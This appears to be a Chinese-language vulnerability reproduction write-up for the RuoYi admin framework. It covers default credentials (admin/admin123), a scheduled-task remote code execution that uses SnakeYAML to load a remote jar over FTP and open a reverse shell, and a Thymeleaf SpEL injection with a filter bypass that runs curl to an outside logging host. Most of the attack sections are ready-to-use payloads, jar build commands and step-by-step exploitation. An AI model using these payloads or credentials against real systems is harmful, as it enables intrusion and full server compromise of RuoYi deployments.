Ruoyi若依漏洞复现总结

弱口令 初始密码CMS 4.6.0 后台RCE反射+Yaml达到的代码执行反射Runtime失败反射ProcessBuilder失败构造Yaml类

漏洞利用过程结合Thymeleaf注入的代码执行漏洞分析漏洞利用过程

https://doc.ruoyi.vip/ruoyi/document/kslj.html#%E5%8E%86%E5%8F%B2%E6%BC%8F%E6%B4%9E

官方漏洞历史文档

弱口令 初始密码

admin admin123

CMS 4.6.0 后台RCE

反射+Yaml达到的代码执行

若依管理后台-系统监控-定时任务-新建,发现有个调用目标字符串的字段。

查看定时任务的具体代码,定位到 ruoyi-quartz/src/main/java/com/ruoyi/quartz/util/JobInvokeUtil.java。

假设我们输入com.hhddj1.hhddj2.hhddj3()

经解析后

beanName为com.hhddj1.hhddj2 methodName为hhddj3 methodParams为[]

/**

* 执行方法

*

* @param sysJob 系统任务

*/

public static void invokeMethod(SysJob sysJob) throws Exception

{

String invokeTarget = sysJob.getInvokeTarget();

String beanName = getBeanName(invokeTarget);

String methodName = getMethodName(invokeTarget);

List methodParams = getMethodParams(invokeTarget);

if (!isValidClassName(beanName))

{

Object bean = SpringUtils.getBean(beanName);

invokeMethod(bean, methodName, methodParams);

}

else

{

Object bean = Class.forName(beanName).newInstance();

invokeMethod(bean, methodName, methodParams);

}

}

反射Runtime失败

想要通过该反射执行命令,首先想到使用java.lang.Runtime.getRuntime().exec(“”)。

若使用该payload,则会跳到JobInvokeUtil.java的这段代码中。

Object bean = Class.forName(beanName).newInstance();

invokeMethod(bean, methodName, methodParams);

然而,想要通过Class.forName(beanName).newInstance()成功实例化,必须满足类至少有一个构造函数

无参 public

而Runtime类的构造函数是private的,不满足条件,因此使用payloadjava.lang.Runtime.getRuntime().exec(“”),会报错。

反射ProcessBuilder失败

同样的,虽然我们可以在new ProcessBuilder的时候可以不加参数, 但是并不代表ProcessBuilder的构造函数是无参的。 因此使用ProcessBuilder的payload也会报错。

ProcessBuilder processBuilder = new ProcessBuilder();

processBuilder.command("/bin/bash","-c","curl http://xxx/test");

processBuilder.start();

ProcessBuilder的构造函数

public ProcessBuilder(List var1) {

if (var1 == null) {

throw new NullPointerException();

} else {

this.command = var1;

}

}

public ProcessBuilder(String... var1) {

this.command = new ArrayList(var1.length);

String[] var2 = var1;

int var3 = var1.length;

for(int var4 = 0; var4 < var3; ++var4) {

String var5 = var2[var4];

this.command.add(var5);

}

}

构造Yaml类

想要代码执行,我尝试过写文件等等方式,但是都无法反射成功。

因为根据若依的定时任务代码,需要满足以下条件:

类的构造函数无参且public 调用的方法的参数类型只能是String/int/long/double 该方法具有代码执行的潜力

因此找到Yaml类,刚好若依有一个YamlUtil类,里面使用了org.yaml.snakeyaml包。

所以我们构造了以下payload,使用ftp协议的原因是http被禁用

org.yaml.snakeyaml.Yaml.load('!!javax.script.ScriptEngineManager [

!!java.net.URLClassLoader [[

!!java.net.URL ["ftp://ip/yaml-payload.jar"]

]]

]')

yaml-payload.jar的生成过程:

1)在github上下载源码(https://github.com/artsploit/yaml-payload.git)

2)将IP和端口改成我们对应攻击机上的IP和端口

3)使用以下两条命令生成新的yaml-payload.jar,生成的yaml-payload.jar位置如下图红箭头所示。

javac src/artsploit/AwesomescriptEngineFactory.java

jar -cvf yaml-payload.jar -C src/ .

E:\hack\exp\yaml-payload-master

λ jar -cvf yaml-payload.jar -C src/ .

已添加清单

正在添加: artsploit/(输入 = 0) (输出 = 0)(存储了 0%)

正在添加: artsploit/AwesomeScriptEngineFactory - 副本.java(输入 = 1589) (输出 = 427)(压缩了 73%)

正在添加: artsploit/AwesomeScriptEngineFactory.java(输入 = 1535) (输出 = 444)(压缩了 71%)

正在忽略条目META-INF/

正在添加: META-INF/services/(输入 = 0) (输出 = 0)(存储了 0%)

正在添加: META-INF/services/javax.script.ScriptEngineFactory(输入 = 36) (输出 = 38)(压缩了 -5%)

漏洞利用过程

1.生成yaml-payload.jar,ip写攻击机ip,端口写2333。生成之后,传到攻击机的ftp目录下。

2.攻击机:监听2333端口

3.若依管理后台,新建定时任务,目标调用字符串写

org.yaml.snakeyaml.Yaml.load('!!javax.script.ScriptEngineManager [

!!java.net.URLClassLoader [[

!!java.net.URL ["ftp://101.43.159.27/yaml-payload.jar"]

]]

]')

0/10 * * * * ?

4.攻击机上收到反弹shell

结合Thymeleaf注入的代码执行

在代码审计若依的时候,发现了Thymeleaf语法的一些问题

漏洞分析

Ruoyi使用了thymeleaf-spring5,其中四个接口方法中设置了片段选择器:

http://demo.ruoyi.vip/monitor/cache/getNames

http://demo.ruoyi.vip/monitor/cache/getKeys

http://demo.ruoyi.vip/monitor/cache/getValue

http://demo.ruoyi.vip/demo/form/localrefresh/task

通过这四段接口,可以指定任意fragment,以/monitor/cache/getNames接口为例,controller代码如下:

@PostMapping("/getNames")

public String getCacheNames(String fragment, ModelMap mmap)

{

mmap.put("cacheNames", cacheService.getCacheNames());

return prefix + "/cache::" + fragment;

}

这四段接口方法中,都使用了thymeleaf的语法:

“/xxx::” + fragment;

我们构造fragment的值为:

%24%7b%54%20%28%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%29%2e%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%22%63%75%72%6c%20%68%74%74%70%3a%2f%2f%63%6d%6d%6f%76%6f%2e%63%65%79%65%2e%69%6f%2f%72%75%6f%79%69%74%65%73%74%22%29%7d

-->

${T (java.lang.Runtime).getRuntime().exec("curl http://cmmovo.ceye.io/ruoyitest")}

当我们构造的模板片段被thymeleaf解析时, thymeleaf会将识别出fragment为SpringEL表达式。 不管是?fragment=header(payload)还是?fragment=payload

但是,在执行SpringEL表达式之前,thymeleaf会去检查参数值中是否使用了"T(SomeClass)“或者"new SomeClass”

这个检查方法其实可以绕过,SpringEL表达式支持"T (SomeClass)"这样的语法,因此我们只要在T与恶意Class之间加个空格,就既可以绕过thymeleaf的检测规则,又可以执行SpringEL表达式。

因此payload中T与恶意Class之间含有空格,不论是空格或者制表符都可以绕过检测。

漏洞利用过程

1.将payload进行HTML编码

${T (java.lang.Runtime).getRuntime().exec("curl http://cmmovo.ceye.io/ruoyitest")}

2.填入header后面的括号中,命令成功执行,ceye监听平台收到dnslog请求

查看原文